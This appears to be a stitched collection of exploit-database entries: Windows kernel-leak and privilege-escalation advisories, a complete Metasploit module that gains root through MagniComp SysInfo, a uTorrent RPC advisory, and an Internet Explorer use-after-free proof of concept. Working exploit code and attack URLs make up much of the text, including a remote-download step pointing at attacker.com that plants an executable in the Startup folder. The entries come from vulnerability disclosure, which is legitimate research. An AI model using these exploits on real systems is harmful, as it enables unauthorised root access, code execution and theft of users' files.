  PAGE:006BA179                 call    RtlGetExtendedContextLength(x,x)
  PAGE:006BA17E                 test    eax, eax
  PAGE:006BA180                 js      short loc_6BA140
  PAGE:006BA182                 mov     eax, [ebp+var_48]
  PAGE:006BA185                 call    __alloca_probe_16 <============================
  PAGE:006BA18A                 mov     [ebp+ms_exc.old_esp], esp
  PAGE:006BA18D                 mov     ecx, esp
  PAGE:006BA18F                 mov     [ebp+var_54], ecx
  PAGE:006BA192                 lea     eax, [ebp+var_4C]
  PAGE:006BA195                 push    eax
  PAGE:006BA196                 mov     edx, [ebp+ContextFlags]
  PAGE:006BA199                 call    RtlInitializeExtendedContext(x,x,x)
--- cut ---

The "Spare0" field is not pre-initialized or written to by any of the routines that fill out the FLOATING_SAVE_AREA structure. As a result, running the attached proof-of-concept program (designed for Windows 10 32-bit version 1709) reveals 4 bytes of kernel stack memory at offset 0x88 of the output region (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:

--- cut ---
  00000000: 08 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
  00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000080: 00 00 00 00 00 00 00 00 41 41 41 41 00 00 00 00 ........AAAA....
  00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---

Offset 0x88 of the CONTEXT structure on x86 builds indeed corresponds to the 32-bit CONTEXT.FloatSave.Spare0 field. What's most interesting, however, is that the bug only exists on Windows 8 and 10; on Windows 7, we can see that the region obtained through alloca() is instantly zeroed-out with a memset() call:

--- cut ---
  PAGE:0065EE86                 call    RtlGetExtendedContextLength(x,x)
  PAGE:0065EE8B                 cmp     eax, ebx
  PAGE:0065EE8D                 jl      loc_65EFDE
  PAGE:0065EE93                 mov     eax, [ebp+var_2C]
  PAGE:0065EE96                 call    __alloca_probe_16
  PAGE:0065EE9B                 mov     [ebp+ms_exc.old_esp], esp
  PAGE:0065EE9E                 mov     [ebp+var_3C], esp
  PAGE:0065EEA1                 push    [ebp+var_2C]    ; size_t
  PAGE:0065EEA4                 push    ebx             ; int
  PAGE:0065EEA5                 push    [ebp+var_3C]    ; void *
  PAGE:0065EEA8                 call    _memset
--- cut ---

The function call is missing from Windows 8 and later systems, but we are not sure why this regression was introduced.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm {mov eax, ApiNumber};
  __asm {lea edx, ApiNumber + 4};
  __asm {int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 10 32-bit version 1709.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Initialize the thread as GUI.
  LoadLibrary(L"user32.dll");

  CONTEXT ctx;
  RtlZeroMemory(&ctx, sizeof(ctx));
  ctx.ContextFlags = CONTEXT_FLOATING_POINT;

  SprayKernelStack();

  if (!GetThreadContext(GetCurrentThread(), &ctx)) {
    printf("GetThreadContext failed, %d\n", GetLastError());
    return 1;
  }

  PrintHex((PBYTE)&ctx, sizeof(ctx));

  return 0;
}
            
Windows: Global Reparse Point Security Feature Bypass/Elevation of Privilege
Platform: Windows 10 1709 (functionality not present prior to this version)
Class: Security Feature Bypass/Elevation of Privilege

Summary: It’s possible to use the new Global Reparse Point functionality introduced in Windows 10 1709 to bypass the existing sandbox limitations of creating arbitrary file symbolic links.

Description:

Windows 10 introduced mitigations to prevent the abuse of various types of symbolic links when a process is running in a sandbox. This is a combination of outright blocking of the functionality (such as in the case of Registry Key symlinks) to doing checks on the target location so that the sandbox user can write to the location (in the case of Mount Points). 

Fall Creator’s Update has introduced a new defined reparse tag, the Global Reparse Point (value 0xA0000019) which I assume is for Silo’s where a symlink can be added into the Silo’s visible namespaces which actually redirects to the global namespace. One user of this is the named pipe file system. It seems that nothing prevents you creating this type of reparse point on an NTFS volume, it doesn’t get checked by the kernel for the sandbox mitigation and because the NTFS driver ignores anything which isn’t a mount point or a ntfs symbolic link it will also not check for the SeCreateSymbolicLinkPrivilege. This symbolic link type works to reparse to any file type so you can create either a file or directory symbolic link. The reparse buffer is basically the same as the normal symbolic link one, but with a different tag. In fact strangely the named pipe file system passes back a buffer with the normal symbolic link tag but with the global reparse tag in the data structure passed back to IopParseDevice.

Outside of the behavior in sandboxes you might want to check that the reparse buffer is correctly verified. Normally the NTFS driver checks the structure of a reparse buffer using FsRtlValidateReparsePointBuffer but that function doesn’t know about the new reparse tag, so you could end up with completely untrusted data being passed into the object manager (NPFS synthesizes the reparse buffer so normally it would be trusted). I’ve not checked if you could trivially BSoD the machine through this approach.

Note that while NTFS symbolic links can be created without privileges in developer mode this bypass also allows a normal user to create them without developer mode being enabled so also acts as an EoP.

Proof of Concept:

I’ve provided a PoC as a C# project. 

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Run the poc as Low IL or an in AC passing on the command line the name of the symlink file to create and a target path. For example ‘poc c:\test\hello c:\windows’ will create a symlink ‘hello’ pointing at ‘c:\windows’. Make sure the destination name can be written to as the sandboxed user.
3) Open the symbolic link as a normal privileged user to see if the reparse target is followed.

Expected Result:
The creation of the symlink should fail with an error.

Observed Result:
The symlink is created, is valid and can be used to access the target.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44147.zip
            
Windows: Constrained Impersonation Capability EoP
Platform: Windows 10 1703/1709 (not tested earlier versions)
Class: Elevation of Privilege

Summary: It’s possible to use the constrained impersonation capability added in Windows 10 to impersonate a lowbox SYSTEM token leading to EoP.

Description:

Windows 10 added a new security check during impersonation of a token which relies on an AppContainer capability Constrained Impersonation which allows a LowBox process to impersonate another LowBox token, even if it’s for a different user, as long as it meets certain requirements. Specifically:

- The impersonation token’s session ID is the same as the current process’ session ID
- The impersonation token has the same AC package SID as the process’
- The impersonation token’s capability sids are a subset of the processes

I’d assume that the thoughts around the security of this constrained impersonation capability is preventing an exist lowbox process gaining that capability. However this can be abused from a normal user privilege level by creating a new AC process with the capability. As a normal user it’s possible to create a new lowbox token from an existing one which has any capabilities you like and the package SID can be arbitrary. 

The only limiting factor is getting hold of a suitable token which has the same session ID. This is easy for example in UAC scenarios (including OTS elevation) but of course that’s a UAC bypass. There’s various tricks to get a SYSTEM token but most of the services run in Session 0. However there are a few processes running as SYSTEM but in the same session on a default install of Windows including CSRSS and Winlogon. There’s also the consent process which is part of UAC which is spawned in the user session. Therefore one way to get the token is to try and elevate a process running on a WebDAV share (hosted on localhost) and negotiate the NTLM/Negotiate auth in a similar way to previous issues I’ve reported (e.g. cases 21243 and 21878).

With a SYSTEM token handle it’s now possible to impersonate it as a lowbox from a normal user account. Of course this isn’t a direct privilege escalation as you can’t access administrator resources, however you can find system services which do the wrong thing. One example is code which just checks the Authentication ID of the token and assumes if it’s the SYSTEM ID then it’s trusted. A second example are AC processes which either run as SYSTEM or have tried to lock down themselves, a good example is the UMFD process, resources created by this process have access to SYSTEM as well as the package SID so you could inject code through hijacking a thread or one of the processes named resources. The final example are services which increase the IL of the caller, such as the print spooler bug I reported in case 41850, which you could get an arbitrary write as SYSTEM which gives you direct EoP.

Proof of Concept:

I’ve provided a PoC as a C# project. It implements a WebDAV server on localhost which will require authentication. Any user which tries to open a file on the share will have its token captured. It then uses UAC consent to get a call to the WebDAV server as a system token in the current session. Note that although I’m abusing UAC it’s not a UAC bypass, it’s just a convenient way of getting the token. This would still work in OTS UAC as the token happens before the process is actually executed (which means the password doesn’t have to be entered) so it’s still an issue. Once a suitable token has been captured the PoC spawns a new process in an AC and impersonates the system token on the main thread. It then abuses some functionality which was “fixed” in MS15-10, that it’s possible to open a service with SERVICE_STATUS access rights as long as the caller is SYSTEM. Admittedly this seemed to be a bogus fix as impersonation shouldn’t work like that in RPC, but in this case it doesn’t really matter as we can actually impersonate a SYSTEM token. The PoC stops at the point of getting a valid handle to the service, I’ve not worked out what you can usefully do with that handle, maybe start/stop a service you wouldn’t normally be able to?

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) In an admin command prompt run the command “netsh http add urlacl url=http://127.0.0.1:4444/WebDAV user=Everyone” this is to just allow the PoC to use the HttpListener class which saves me from writing my own HTTP server implementation. You could do it entirely manually and not require this step but it’s just an issue with the  listener classes that you need to add an acl for it, I was just too lazy to write my own.
3) Run the NtlmAuth PoC, it should setup the WebDAV server, start the WebClient service and then start an UAC elevation on the WebDAV server to capture the token. It’ll then run the test binary to open the service.
4) Cancel the UAC elevation prompt. You should now see a message box on the desktop from the test binary saying Success.

Expected Result:
Impersonating the SYSTEM token in a LowBox shouldn’t be possible.

Observed Result:
The test binary is running while impersonating the SYSTEM token. It’s opened a handle to the WebClient service with SERVICE_STATUS access rights.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44149.zip
            
Windows: NPFS Symlink Security Feature Bypass/Elevation of Privilege/Dangerous Behavior
Platform: Windows 10 1709 (functionality not present prior to this version)
Class: Security Feature Bypass/Elevation of Privilege/Dangerous Behavior

Summary: It’s possible to create NPFS symlinks as a low IL or normal user and the implementation doesn’t behave in a similar manner to other types of Windows symlinks leading to dangerous behavior or EoP.

Description:

Windows 10 1709 introduced a new symlink feature to NPFS which is accessible from a FSCTL. From what I can see the implementation has a number of security issues which concern me:

1) Creation of symbolic links is only limited to a user which can open the root named pipe device. I.e. \Device\NamedPipe. This users which can open the device includes restricted tokens with the RESTRICTED SID and Low IL tokens.
2) Accessing a symlink results in the NPFS driver synthesizing a NTFS symlink reparse point which is passed back to the object manager. This allows the symlink to reparse to different devices. This is presumably by design but it’s dangerous behavior.
3) Opening a symlink doesn’t respect the FILE_OPEN_REPARSE_POINT which could lead to some unusual behavior.

The fact that you can create the symlink as a lower privileged user is bad enough, although I don’t believe it can be done from an AC so maybe you don’t care about it. But the other two issues are examples of dangerous behavior which _will_ come back to bite you at some point in the future.

Let’s take point 2 as an example, up to this point NPFS hasn’t had the concept of symbolic links. Sure you could drop an appropriate object manager symlink somewhere and get a caller to follow it but you’d need to be able to influence the callers path or their DOS device directory. With this if a privileged caller is expecting to open a named pipe, say \\.\pipe\ABC then ABC could actually be a symbolic link to a normal file. If the caller then just writes data to the pipe expecting it to be a stream they could actually be writing data into a file which might result in EoP. Basically I see it’s a case of when not if that a EoP bug is found which abuses this behavior. 

Also, there’s no way I know of for detecting you’re opening a symbolic link. For example if you open the target with the FILE_OPEN_REPARSE_POINT flag it continues to do the reparse operation. Due to creating a normal NTFS symbolic link this might also have weird behavior when a remote system accessed a named pipe, although I’ve not tested that. 

Overall I think the behavior of the implementation has the potential for malicious use and should be limited to privileged users. I don’t know it’s original purpose, perhaps it’s related to Silos (there is a flag to make a global symlink) or it’s to make it easier to implement named pipes in WSL, I don’t know. If the purpose is just to symlink between named pipes then perhaps only allow a caller to specify the name relative to the NPFS device rather than allowing a full object path.

Proof of Concept:

I’ve provided a PoC as a C# project. The PoC will create a symlink called ABC which points to notepad.exe. It will check the file file it opens via the symlink matches the file opened directly.

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Run the poc as Low IL (using say psexec).

Expected Result:
The creation of the symlink should fail with an error.

Observed Result:
The symlink is created, is valid and the poc printed ‘Success’ as it’s opened the copy of notepad.exe via the symlink.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44148.zip
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MagniComp SysInfo mcsiwrapper Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on systems running
        MagniComp SysInfo versions prior to 10-H64.

        The .mcsiwrapper suid executable allows loading a config file using the
        '--configfile' argument. The 'ExecPath' config directive is used to set
        the executable load path. This module abuses this functionality to set
        the load path resulting in execution of arbitrary code as root.

        This module has been tested successfully with SysInfo version
        10-H63 on Fedora 20 x86_64, 10-H32 on Fedora 27 x86_64, 10-H10 on
        Debian 8 x86_64, and 10-GA on Solaris 10u11 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Lawson', # Discovery and exploit
          'Romain Trouve', # Discovery and exploit
          'Brendan Coles'  # Metasploit
        ],
      'DisclosureDate' => 'Sep 23 2016',
      'Platform'       => %w(linux solaris),
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ],
          [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ]
        ],
      'References'     =>
        [
          [ 'CVE', '2017-6516' ],
          [ 'BID', '96934' ],
          [ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ],
          [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ],
          [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ]
        ]
    ))
    register_options(
      [
        OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def sysinfo_dir
    datastore['SYSINFO_DIR']
  end

  def check
    unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true'
      vprint_good "Directory '#{sysinfo_dir}' does not exist"
      return CheckCode::Safe
    end
    vprint_good "Directory '#{sysinfo_dir}' exists"

    mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper"
    unless setuid? mcsiwrapper_path
      vprint_error "#{mcsiwrapper_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{mcsiwrapper_path} is setuid"

    bash_path = cmd_exec 'which bash'
    unless bash_path.start_with?('/') && bash_path.include?('bash')
      vprint_error 'bash is not installed. Exploitation will fail.'
      return CheckCode::Safe
    end
    vprint_good 'bash is installed'

    config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg"
    version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first
    if version.blank?
      vprint_error 'Could not determine the SysInfo version'
      return CheckCode::Detected
    end
    if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64')
      vprint_error "SysInfo version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "SysInfo version #{version} is vulnerable"

    CheckCode::Vulnerable
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def mkdir(path)
    vprint_status "Creating '#{path}' directory"
    cmd_exec "mkdir -p #{path}"
    register_dir_for_cleanup path
  end

  def exploit
    check_status = check
    if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # Set target
    uname = cmd_exec 'uname'
    vprint_status "Operating system is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when /SunOS/i
        my_target = targets[1]
      when /Linux/i
        my_target = targets[2]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    # Check payload
    if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
       (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
      fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
    end

    # Create a working directory
    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}"
    mkdir base_path

    # Write config file
    config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}"
    upload config_path, "ExecPath=#{base_path}"

    # Upload payload
    payload_name = rand_text_alphanumeric rand(5..10)
    payload_path = "#{base_path}/#{payload_name}"
    upload payload_path, generate_payload_exe
    cmd_exec "chmod u+sx '#{payload_path}'"

    print_status 'Executing payload...'

    # Executing .mcsiwrapper directly errors:
    #   Command ".mcsiwrapper" cannot start with `.' or contain `/'.
    # Instead, we execute with bash to replace ARGV[0] with the payload file name
    output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\""
    output.each_line { |line| vprint_status line.chomp }
  end
end
            
Windows: StorSvc SvcMoveFileInheritSecurity Arbitrary File Creation EoP
Platform: Windows 10 1709 (not tested earlier versions)
Class: Elevation of Privilege

Summary: The SvcMoveFileInheritSecurity RPC method in StorSvc can be used to move an arbitrary file to an arbitrary location resulting in elevation of privilege.

Description:

I was reading Clément Rouault & Thomas Imbert excellent PacSec’s slides on ALPC+RPC issues and they highlighted the SvcMoveFileInheritSecurity method used to exploit the ALPC bug CVE-2017-11783. The function impersonates the user and calls MoveFileEx to move the file to a new destination, then reverts the impersonation and tries to reset the security descriptor of the new file so that it matches the inheritable permissions. The ALPC bug in CVE-2017-11783 has apparently been fixed but the behavior of the SvcMoveFileInheritSecurity has not been modified as far as I can tell.

The main problem occurs if the call to SetNamedSecurityInfo fails, in that case the code tries to move the file back to its original location, however it does reassert the impersonation. This probably makes sense because it’s possible to have a file/directory which you can open for DELETE but without the rights to create a new file in the same directory. In the case the original move would succeed but the revert would fail. However there’s a TOCTOU issue in that the original path might have been replaced with a mount point which redirects the revert to a totally arbitrary location while running at SYSTEM. The exploit controls both the name and the contents of the file so this would be a trivial privilege escalation.

It’s possible to cause SetNamedSecurityInfo to fail just by adding a Deny ACE to the file for SYSTEM. This will cause the function to get ERROR_ACCESS_DENIED and the revert will take place. By placing an oplock on the original file open we can switch in a mount point and always win the race condition.

Ideally all operations should take place under user impersonation, but if that was the case there’d be no point in doing it in a SYSTEM service to begin with. Note that there’s a second issue specifically with SetNamedSecurityInfo which I’ve sent as a separate issue, just in case it gets missed.

Proof of Concept:

I’ve provided a PoC as a C++ project. It will abuse the SvcMoveFileInheritSecurity method to create the file test.txt in the windows folder.

1) Compile the C++ project.
2) Execute the PoC as a normal user.

Expected Result:
The file reversion fails trying to copy the file back to its original location.

Observed Result:
The file is reverted which results in the test.txt file being creating in c:\windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44152.zip
            
By default, utorrent create an HTTP RPC server on port 10000 (uTorrent classic) or 19575 (uTorrent web). There are numerous problems with these RPC servers that can be exploited by any website using XMLHTTPRequest(). To be clear, visiting *any* website is enough to compromise these applications.


uTorrent web (http://web.utorrent.com)
======================================

As the name suggests, uTorrent Web uses a web interface and is controlled by a browser as opposed to the desktop application. By default, uTorrent web is configured to startup with Windows, so will always be running and accessible. For authentication, a random token is generated and stored in a configuration file which must be passed as a URL parameter with all requests. When you click the uTorrent tray icon, a browser window is opened with the authentication token populated, it looks like this:

http://127.0.0.1:19575/gui/index.html?localauth=localapic3cfe21229a80938:

While not a particularly strong secret (8 bytes of std::random_device), it at least would make remote attacks non-trivial. Unfortunately however, the authentication secret is stored inside the webroot (wtf!?!?!?!), so you can just fetch the secret and gain complete control of the service.

$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes

localapi29c802274dc61fb4        bc676961df0f684b13adae450a57a91cd3d92c03        94bc897965398c8a07ff    2       1

This requires some simple dns rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable. For example:

# change the download directory to the Startup folder.
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup

# download a torrent containing calc.exe
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent

I wrote a working exploit for this attack, available here:

http://lock.cmpxchg8b.com/Moer0kae.html

The authentication secret is not the only data accessible within the webroot - settings, crashdumps, logs and other data is also accessible. As this is a complete remote compromise of the default uTorrent web configuration, I didn't bother looking any further after finding this.

uTorrent Classic (https://www.utorrent.com/downloads/win)
=========================================================

By default utorrent Classic creates a JSON RPC server on port 10000, it's not clear to me that this was intentionally exposed to the web, as many endpoints crash or interfere with the UI. Here are some example actions that websites can take:

http://lock.cmpxchg8b.com/utorrent-crash-test.html

Nevertheless, browsing through the available endpoints I noticed that the /proxy/ handler is enabled and exposed by default, and allows any website to enumerate and copy any files you've downloaded. To be clear, any website you visit can read and copy every torrent you've downloaded. This works with the default configuration.

This requires brute forcing the "sid" which is a small integer that is incremented once for each torrent, this can be brute forced in seconds.

e.g.

$ curl -sI 'http://localhost:10000/proxy/0/?sid=2&file=0&callback=file'
HTTP/1.1 200 OK
Content-Type: audio/mpeg
Server: BitTorrentProxy/1.0
Connection: close
Accept-Ranges: bytes
ETag: "8FD54C339FE8B8A418CE2299AF2EADD9B1715D7A"

file is the index in a multi-file torrent (here there is just one file) and callback is a javascript callback. This means any website can find out what you've downloaded, and then just copy it from you - all the data.

I made a simple demo, screenshot of how it's supposed to look attached. It's really slow, but demonstrates that a website can enumerate and read any data you've downloaded via uTorrent.


http://lock.cmpxchg8b.com/Ahg8Aesh.html

Here is how I reproduced:

* On a fresh Windows 7 VM, install utorrent 3.5 (44294). Accept all default settings.
* File -> Add torrent from URL..., enter https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent
* When the torrent is finished (it's only about 5MB), visit this URL in Chrome: http://lock.cmpxchg8b.com/Ahg8Aesh.html
* Click "Start Attack"
* Wait a few minutes.

The page should have figured out the size and file type, and gives an option to steal the files. See screenshot attached.

----------

The utorrent binary disables ASLR and /GS. This is a really bad idea. (Note that the binary is UPX packed, but this doesn't change any security properties).

----------

I noticed that utorrent is using unmodified mersenne twister to generate authentication tokens and cookies, session identifiers, pairing keys, and so on. The PRNG is seeded with GetProcessId(), GetTickCount() etc. That is already not great quality seed data, but mersenne twister makes no guarantees that someone who can view sample output can't reconstruct the state of the PRNG.

This is actually one of the FAQs on the mersenne twister site:

http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/efaq.html

This allows anyone to reconstruct things like pairing keys, webui session cookies, etc, etc. You can sample unlimited prng output, so this is a serious design flaw.

----------

Finally, a minor issue - the documentation for the "guest" account feature says many actions are disabled for security, but I tested it and that it plain isn't true:

$ curl -si 'http://guest@localhost:10000/gui/?action=getsettings&callback=error&btapp='
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 16572
Content-Type: text/javascript
Set-Cookie: GUID=6yY1pkIHHMvvHo8tgOYu; path=/
Cache-Control: no-cache

{"build":44090,"settings": [
["install_modification_time",0,"0",{"access":"Y"}]
...


Perhaps this got broken at some point, but this feature is web-accessible, so this should probably be fixed (or suitable warnings added). I can't imagine many users enabled this, but those that did probably expected the security boundaries described in the documentation to be enforced.
            
<!--
There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the page heap was enabled for iexplore.exe (The PoC is somewhat unreliable so applying these settings might help with reproducing).

PoC:

=========================================
-->

<!-- saved from url=(0014)about:internet -->
<script>
var vars = new Array(2);
function main() {
  vars[0] = Array(1000000).join(String.fromCharCode(0x41));
  vars[1] = String.prototype.substring.call(vars[0], 1, vars[0].length);
  String.prototype.replace.call(vars[1], RegExp(), f);
}
function f(arg1, arg2, arg3) {
  alert(arg3);
  vars[0] = 1;
  CollectGarbage();
  return 'a';
}
main();
</script>

<!--
=========================================

Debug log:

=========================================

(be0.c40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d:
000007fe`ecc3b26d 440fb73c41      movzx   r15d,word ptr [rcx+rax*2] ds:00000000`18090022=????

0:013> r
rax=0000000000000000 rbx=0000000000000000 rcx=0000000018090022
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=000007feecc3b26d rsp=0000000011e4a590 rbp=0000000011e4a610
 r8=fffc000000000000  r9=00000000000f423e r10=fffc000000000000
r11=0000000000000008 r12=0000000000000000 r13=00000000148c5340
r14=000007feec9b1240 r15=0000000000000000
iopl=0         nv up ei ng nz ac pe cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d:
000007fe`ecc3b26d 440fb73c41      movzx   r15d,word ptr [rcx+rax*2] ds:00000000`18090022=????

0:013> k
 # Child-SP          RetAddr           Call Site
